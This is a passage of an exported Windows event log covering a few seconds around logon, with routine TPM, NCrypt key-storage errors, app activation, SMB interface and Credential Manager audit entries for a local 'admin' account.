failed.\n\n Cryptographic Parameters:\n \tOperationType:\t16\n \tProvider Name:\tMicrosoft Platform Crypto Provider\n \tKey Name:\tWindowsAIK_ECC_TPM_ECC_NIST_P256\n \tKey Type:\t\n \tAlgorithm Name:\t\n \nFailure Information:\n \tReturn Code:\t0x80090011\"\tError\tMicrosoft-Windows-Crypto-NCrypt/Operational\tMicrosoft-Windows-Crypto-NCrypt\n05.09.2026 08:29:05.649\t3000\tTile session creation is requested for C:\\Windows\\explorer.exe endpoint 0x0.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:29:05.649\t3001\tTile session creation is finished for C:\\Windows\\explorer.exe from endpoint 0x0 with result The operation completed successfully., and 2 is assigned as session id. Queued Closes = 0, Queued Cleanups = 0\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:29:05.658\t9649\t\tInformation\tMicrosoft-Windows-Shell-Core/Operational\tMicrosoft-Windows-Shell-Core\n05.09.2026 08:29:05.658\t9648\t\tInformation\tMicrosoft-Windows-Shell-Core/Operational\tMicrosoft-Windows-Shell-Core\n05.09.2026 08:29:05.707\t1001\tFor internal use only.\tInformation\tMicrosoft-Windows-Storsvc/Diagnostic\tMicrosoft-Windows-Storsvc\n05.09.2026 08:29:05.737\t1\t\"Cryptographic Operation failed.\n\n Cryptographic Parameters:\n \tOperationType:\t17\n \tProvider Name:\tMicrosoft Software Key Storage Provider\n \tKey Name:\tNULL\n \tKey Type:\t\n \tAlgorithm Name:\t\n \nFailure Information:\n \tReturn Code:\t0x80090029\"\tError\tMicrosoft-Windows-Crypto-NCrypt/Operational\tMicrosoft-Windows-Crypto-NCrypt\n05.09.2026 08:29:05.749\t1\t\"Cryptographic Operation failed.\n\n Cryptographic Parameters:\n \tOperationType:\t16\n \tProvider Name:\tMicrosoft Software Key Storage Provider\n \tKey Name:\tNULL\n \tKey Type:\t\n \tAlgorithm Name:\t\n \nFailure Information:\n \tReturn Code:\t0x80090029\"\tError\tMicrosoft-Windows-Crypto-NCrypt/Operational\tMicrosoft-Windows-Crypto-NCrypt\n05.09.2026 08:29:05.749\t1\t\"Cryptographic Operation failed.\n\n Cryptographic Parameters:\n \tOperationType:\t16\n \tProvider Name:\tMicrosoft Software Key Storage Provider\n \tKey Name:\tNULL\n \tKey Type:\t\n \tAlgorithm Name:\t\n \nFailure Information:\n \tReturn Code:\t0x80090029\"\tError\tMicrosoft-Windows-Crypto-NCrypt/Operational\tMicrosoft-Windows-Crypto-NCrypt\n05.09.2026 08:29:05.749\t1\t\"Cryptographic Operation failed.\n\n Cryptographic Parameters:\n \tOperationType:\t16\n \tProvider Name:\tMicrosoft Software Key Storage Provider\n \tKey Name:\tNULL\n \tKey Type:\t\n \tAlgorithm Name:\t\n \nFailure Information:\n \tReturn Code:\t0x80090029\"\tError\tMicrosoft-Windows-Crypto-NCrypt/Operational\tMicrosoft-Windows-Crypto-NCrypt\n05.09.2026 08:29:05.749\t1\t\"Cryptographic Operation failed.\n\n Cryptographic Parameters:\n \tOperationType:\t16\n \tProvider Name:\tMicrosoft Software Key Storage Provider\n \tKey Name:\tNULL\n \tKey Type:\t\n \tAlgorithm Name:\t\n \nFailure Information:\n \tReturn Code:\t0x80090029\"\tError\tMicrosoft-Windows-Crypto-NCrypt/Operational\tMicrosoft-Windows-Crypto-NCrypt\n05.09.2026 08:29:05.750\t1\t\"Cryptographic Operation failed.\n\n Cryptographic Parameters:\n \tOperationType:\t16\n \tProvider Name:\tMicrosoft Software Key Storage Provider\n \tKey Name:\tNULL\n \tKey Type:\t\n \tAlgorithm Name:\t\n \nFailure Information:\n \tReturn Code:\t0x80090029\"\tError\tMicrosoft-Windows-Crypto-NCrypt/Operational\tMicrosoft-Windows-Crypto-NCrypt\n05.09.2026 08:29:05.750\t1\t\"Cryptographic Operation failed.\n\n Cryptographic Parameters:\n \tOperationType:\t16\n \tProvider Name:\tMicrosoft Software Key Storage Provider\n \tKey Name:\tNULL\n \tKey Type:\t\n \tAlgorithm Name:\t\n \nFailure Information:\n \tReturn Code:\t0x80090029\"\tError\tMicrosoft-Windows-Crypto-NCrypt/Operational\tMicrosoft-Windows-Crypto-NCrypt\n05.09.2026 08:29:05.750\t1\t\"Cryptographic Operation failed.\n\n Cryptographic Parameters:\n \tOperationType:\t16\n \tProvider Name:\tMicrosoft Software Key Storage Provider\n \tKey Name:\tNULL\n \tKey Type:\t\n \tAlgorithm Name:\t\n \nFailure Information:\n \tReturn Code:\t0x80090029\"\tError\tMicrosoft-Windows-Crypto-NCrypt/Operational\tMicrosoft-Windows-Crypto-NCrypt\n05.09.2026 08:29:05.750\t1\t\"Cryptographic Operation failed.\n\n Cryptographic Parameters:\n \tOperationType:\t16\n \tProvider Name:\tMicrosoft Software Key Storage Provider\n \tKey Name:\tNULL\n \tKey Type:\t\n \tAlgorithm Name:\t\n \nFailure Information:\n \tReturn Code:\t0x80090029\"\tError\tMicrosoft-Windows-Crypto-NCrypt/Operational\tMicrosoft-Windows-Crypto-NCrypt\n05.09.2026 08:29:05.750\t1\t\"Cryptographic Operation failed.\n\n Cryptographic Parameters:\n \tOperationType:\t16\n \tProvider Name:\tMicrosoft Software Key Storage Provider\n \tKey Name:\tNULL\n \tKey Type:\t\n \tAlgorithm Name:\t\n \nFailure Information:\n \tReturn Code:\t0x80090029\"\tError\tMicrosoft-Windows-Crypto-NCrypt/Operational\tMicrosoft-Windows-Crypto-NCrypt\n05.09.2026 08:29:05.750\t1\t\"Cryptographic Operation failed.\n\n Cryptographic Parameters:\n \tOperationType:\t16\n \tProvider Name:\tMicrosoft Software Key Storage Provider\n \tKey Name:\tNULL\n \tKey Type:\t\n \tAlgorithm Name:\t\n \nFailure Information:\n \tReturn Code:\t0x80090029\"\tError\tMicrosoft-Windows-Crypto-NCrypt/Operational\tMicrosoft-Windows-Crypto-NCrypt\n05.09.2026 08:29:05.750\t1\t\"Cryptographic Operation failed.\n\n Cryptographic Parameters:\n \tOperationType:\t16\n \tProvider Name:\tMicrosoft Software Key Storage Provider\n \tKey Name:\tNULL\n \tKey Type:\t\n \tAlgorithm Name:\t\n \nFailure Information:\n \tReturn Code:\t0x80090029\"\tError\tMicrosoft-Windows-Crypto-NCrypt/Operational\tMicrosoft-Windows-Crypto-NCrypt\n05.09.2026 08:29:05.751\t1\t\"Cryptographic Operation failed.\n\n Cryptographic Parameters:\n \tOperationType:\t16\n \tProvider Name:\tMicrosoft Software Key Storage Provider\n \tKey Name:\tNULL\n \tKey Type:\t\n \tAlgorithm Name:\t\n \nFailure Information:\n \tReturn Code:\t0x80090029\"\tError\tMicrosoft-Windows-Crypto-NCrypt/Operational\tMicrosoft-Windows-Crypto-NCrypt\n05.09.2026 08:29:05.751\t1\t\"Cryptographic Operation failed.\n\n Cryptographic Parameters:\n \tOperationType:\t16\n \tProvider Name:\tMicrosoft Software Key Storage Provider\n \tKey Name:\tNULL\n \tKey Type:\t\n \tAlgorithm Name:\t\n \nFailure Information:\n \tReturn Code:\t0x80090029\"\tError\tMicrosoft-Windows-Crypto-NCrypt/Operational\tMicrosoft-Windows-Crypto-NCrypt\n05.09.2026 08:29:05.751\t1\t\"Cryptographic Operation failed.\n\n Cryptographic Parameters:\n \tOperationType:\t16\n \tProvider Name:\tMicrosoft Software Key Storage Provider\n \tKey Name:\tNULL\n \tKey Type:\t\n \tAlgorithm Name:\t\n \nFailure Information:\n \tReturn Code:\t0x80090029\"\tError\tMicrosoft-Windows-Crypto-NCrypt/Operational\tMicrosoft-Windows-Crypto-NCrypt\n05.09.2026 08:29:05.773\t17\tThe Trusted Platform Module (TPM) hardware failed to execute a TPM command.\tInformation\tSystem\tTPM\n05.09.2026 08:29:05.774\t1\t\"Cryptographic Operation failed.\n\n Cryptographic Parameters:\n \tOperationType:\t16\n \tProvider Name:\tMicrosoft Platform Crypto Provider\n \tKey Name:\tNULL\n \tKey Type:\t\n \tAlgorithm Name:\t\n \nFailure Information:\n \tReturn Code:\t0x80090029\"\tError\tMicrosoft-Windows-Crypto-NCrypt/Operational\tMicrosoft-Windows-Crypto-NCrypt\n05.09.2026 08:29:05.778\t1\t\"Cryptographic Operation failed.\n\n Cryptographic Parameters:\n \tOperationType:\t16\n \tProvider Name:\tMicrosoft Platform Crypto Provider\n \tKey Name:\tNULL\n \tKey Type:\t\n \tAlgorithm Name:\t\n \nFailure Information:\n \tReturn Code:\t0x80090029\"\tError\tMicrosoft-Windows-Crypto-NCrypt/Operational\tMicrosoft-Windows-Crypto-NCrypt\n05.09.2026 08:29:05.802\t1\t\"Cryptographic Operation failed.\n\n Cryptographic Parameters:\n \tOperationType:\t16\n \tProvider Name:\tMicrosoft Platform Crypto Provider\n \tKey Name:\tNULL\n \tKey Type:\t\n \tAlgorithm Name:\t\n \nFailure Information:\n \tReturn Code:\t0x80090029\"\tError\tMicrosoft-Windows-Crypto-NCrypt/Operational\tMicrosoft-Windows-Crypto-NCrypt\n05.09.2026 08:29:05.811\t9708\tFinished execution of command 'setup.exe\" --msedgewebview --delete-old-versions --system-level --verbose-logging --on-logon' (PID 9072).\tInformation\tMicrosoft-Windows-Shell-Core/Operational\tMicrosoft-Windows-Shell-Core\n05.09.2026 08:29:05.811\t9706\tFinished enumeration of commands for registry key 'Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce'.\tInformation\tMicrosoft-Windows-Shell-Core/Operational\tMicrosoft-Windows-Shell-Core\n05.09.2026 08:29:05.811\t9704\tRunOnce commands finished.\tInformation\tMicrosoft-Windows-Shell-Core/Operational\tMicrosoft-Windows-Shell-Core\n05.09.2026 08:29:05.821\t1025\tThe TPM was successfully provisioned and is now ready for use.\tInformation\tSystem\tMicrosoft-Windows-TPM-WMI\n05.09.2026 08:29:05.835\t8001\t\"Skipping license manager: PFN Microsoft.YourPhone_1.26071.164.0_x64__8wekyb3d8bbwe\nFunction: InvokeLicenseManagerRequired\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\apisethost\\activationapis.cpp (373)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:29:05.870\t210\tCreated Desktop AppX container {245CDB4D-A8C9-11F1-B7FF-289200F24A99} for package Microsoft.YourPhone_1.26071.164.0_x64__8wekyb3d8bbwe.\tInformation\tMicrosoft-Windows-AppModel-Runtime/Admin\tMicrosoft-Windows-AppModel-Runtime\n05.09.2026 08:29:05.870\t211\tAdded process 13892 to Desktop AppX container 245cdb4d-a8c9-11f1-b7ff-289200f24a99 for package Microsoft.YourPhone_1.26071.164.0_x64__8wekyb3d8bbwe.\tInformation\tMicrosoft-Windows-AppModel-Runtime/Admin\tMicrosoft-Windows-AppModel-Runtime\n05.09.2026 08:29:05.895\t505\t\"Compatibility fix applied to C:\\Program Files\\WindowsApps\\Microsoft.YourPhone_1.26071.164.0_x64__8wekyb3d8bbwe\\PhoneExperienceHost.exe.\nFix information: Microsoft Apps, {81ecdb97-5112-41af-9a59-5ba9444f4270}, 0x80010101.\"\tInformation\tMicrosoft-Windows-Application-Experience/Program-Telemetry\tMicrosoft-Windows-Application-Experience\n05.09.2026 08:29:06.386\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:29:06.388\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:29:06.388\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:29:06.390\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:29:06.392\t59\tRpcGetCurrentSessionCapabilities from C:\\WINDOWS\\system32\\svchost.exe -k netsvcs -p -s wlidsvc( #0x0/0x11272 )\tInformation\tMicrosoft-Windows-TerminalServices-LocalSessionManager/Operational\tMicrosoft-Windows-TerminalServices-LocalSessionManager\n05.09.2026 08:29:06.394\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:29:06.424\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:29:06.424\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:29:06.453\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:29:06.453\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:29:06.454\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:29:06.528\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:29:06.530\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:29:06.530\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:29:06.532\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:29:06.534\t59\tRpcGetCurrentSessionCapabilities from C:\\WINDOWS\\system32\\svchost.exe -k netsvcs -p -s wlidsvc( #0x0/0x11272 )\tInformation\tMicrosoft-Windows-TerminalServices-LocalSessionManager/Operational\tMicrosoft-Windows-TerminalServices-LocalSessionManager\n05.09.2026 08:29:06.536\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:29:06.566\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:29:06.567\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:29:06.597\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:29:06.598\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:29:06.598\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:29:07.382\t16\tCounter 11 of instance ({00000000-0000-0000-0000-000000000000}, NULL, 0) could not be modified. Error: \"The parameter is incorrect.\"\tUndefined\tMicrosoft-Windows-Diagnosis-PCW/Operational\tMicrosoft-Windows-Diagnosis-PCW\n05.09.2026 08:29:07.382\t16\tCounter 6 of instance ({00000000-0000-0000-0000-000000000000}, NULL, 0) could not be modified. Error: \"The parameter is incorrect.\"\tUndefined\tMicrosoft-Windows-Diagnosis-PCW/Operational\tMicrosoft-Windows-Diagnosis-PCW\n05.09.2026 08:29:07.711\t15\t\"New client uses VBS Key Isolation\nName: msedgewebview2.exe\nBinding status: 0x80090039 (VBS key isolation is not available.)\nClient instance binding attempts: 1\n\"\tInformation\tMicrosoft-Windows-Crypto-NCrypt/Operational\tMicrosoft-Windows-Crypto-NCrypt\n05.09.2026 08:29:07.711\t25\tVBS Key Isolation status: Could not connect\tInformation\tMicrosoft-Windows-Crypto-NCrypt/Operational\tMicrosoft-Windows-Crypto-NCrypt\n05.09.2026 08:29:07.711\t4\t\"Create Key operation failed.\n\n Cryptographic Parameters:\n \tProvider Name:\tMicrosoft Software Key Storage Provider\n \tKey Name:\tChromeMetricsTestKey\n \tAlgorithm Name:\tECDSA_P256\n \tFlags:\t\t0x20000\n Failure Information:\n  \tReturn Code:\t0x80090039\"\tError\tMicrosoft-Windows-Crypto-NCrypt/Operational\tMicrosoft-Windows-Crypto-NCrypt\n05.09.2026 08:29:08.310\t1040\tReceived Mib notification type MibParameterNotification for interface 7\tInformation\tMicrosoft-Windows-SMBServer/Operational\tMicrosoft-Windows-SMBServer\n05.09.2026 08:29:08.310\t1034\tSend RDMA Endpoint notification failure - Error getting unicast ip address entry for interface 7. The object was not found.\tInformation\tMicrosoft-Windows-SMBServer/Operational\tMicrosoft-Windows-SMBServer\n05.09.2026 08:29:08.312\t30811\t\"Deleted a TCP/IP transport interface.\n\nName: \u0411\u0435\u0441\u043f\u0440\u043e\u0432\u043e\u0434\u043d\u0430\u044f \u0441\u0435\u0442\u044c\nInterfaceIndex: 0x7\n\nGuidance:\nA TCP/IP binding was removed from the specified network adapter for the SMB client. You should expect this event when a computer shuts down or when a previously enabled network adaptor is disabled. No user action is required.\"\tInformation\tMicrosoft-Windows-SmbClient/Connectivity\tMicrosoft-Windows-SMBClient\n05.09.2026 08:29:08.312\t1040\tReceived Mib notification type MibDeleteInstance for interface 7\tInformation\tMicrosoft-Windows-SMBServer/Operational\tMicrosoft-Windows-SMBServer\n05.09.2026 08:29:08.312\t1033\tSent RDMA disabled event to LanmanServer for interface \\Device\\RdmaSmbIpv4_169.254.156.52.\tInformation\tMicrosoft-Windows-SMBServer/Operational\tMicrosoft-Windows-SMBServer\n05.09.2026 08:29:08.312\t1034\tSend RDMA Endpoint notification failure - Error updating transport list for device \\Device\\RdmaSmbIpv4_169.254.156.52. Object Name not found..\tInformation\tMicrosoft-Windows-SMBServer/Operational\tMicrosoft-Windows-SMBServer\n05.09.2026 08:29:08.314\t1040\tReceived Mib notification type MibParameterNotification for interface 7\tInformation\tMicrosoft-Windows-SMBServer/Operational\tMicrosoft-Windows-SMBServer\n05.09.2026 08:29:08.344\t219\tPSMFlags for Desktop AppX process %1 with applicationID %2 is %3.\tInformation\tMicrosoft-Windows-AppModel-Runtime/Admin\tMicrosoft-Windows-AppModel-Runtime\n05.09.2026 08:29:08.360\t201\tCreated process 13720 for application Microsoft.OfficePushNotificationUtility_8wekyb3d8bbwe!OPushUtil in package Microsoft.OfficePushNotificationUtility_16.0.20326.20112_neutral__8wekyb3d8bbwe. [FinishPackageActivation]\tInformation\tMicrosoft-Windows-AppModel-Runtime/Admin\tMicrosoft-Windows-AppModel-Runtime\n05.09.2026 08:29:08.390\t30812\t\"Added a TDI transport interface.\n\nName: \\Device\\NetBT_Tcpip_{449F824D-2856-4717-A3A7-CF59FAAC817A}\n\nGuidance:\nA TDI (NetBIOS) binding was added to the specified network adapter for the SMB client. The SMB client can now send and receive SMB traffic on this network adapter using TDI. You should expect this event when a computer restarts or when a previously disabled network adaptor is re-enabled. No user action is required.\"\tInformation\tMicrosoft-Windows-SmbClient/Connectivity\tMicrosoft-Windows-SMBClient\n05.09.2026 08:29:08.406\t42\tCloud Notifications must be enabled in GP and MDM to receive push notifications. GroupPolicyValue: true, MDMPolicyValue: true.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:29:08.490\t326\tDetermining packages to be installed during logon for user: S-1-5-21-3712849175-2219398513-4278588552-1006.\tVerbose\tMicrosoft-Windows-AppXDeployment/Operational\tMicrosoft-Windows-AppXDeployment\n05.09.2026 08:29:08.495\t819\tThe following packages will be installed: . The following packages will be removed: \tVerbose\tMicrosoft-Windows-AppXDeploymentServer/Operational\tMicrosoft-Windows-AppXDeployment-Server\n05.09.2026 08:29:08.546\t327\tThe following packages will be installed: NULL. The following packages will be removed: NULL\tVerbose\tMicrosoft-Windows-AppXDeployment/Operational\tMicrosoft-Windows-AppXDeployment\n05.09.2026 08:29:08.621\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:29:08.623\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:29:08.623\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:29:08.624\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:29:08.627\t59\tRpcGetCurrentSessionCapabilities from C:\\WINDOWS\\system32\\svchost.exe -k netsvcs -p -s wlidsvc( #0x0/0x11272 )\tInformation\tMicrosoft-Windows-TerminalServices-LocalSessionManager/Operational\tMicrosoft-Windows-TerminalServices-LocalSessionManager\n05.09.2026 08:29:08.628\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:29:08.673\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:29:08.674\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation 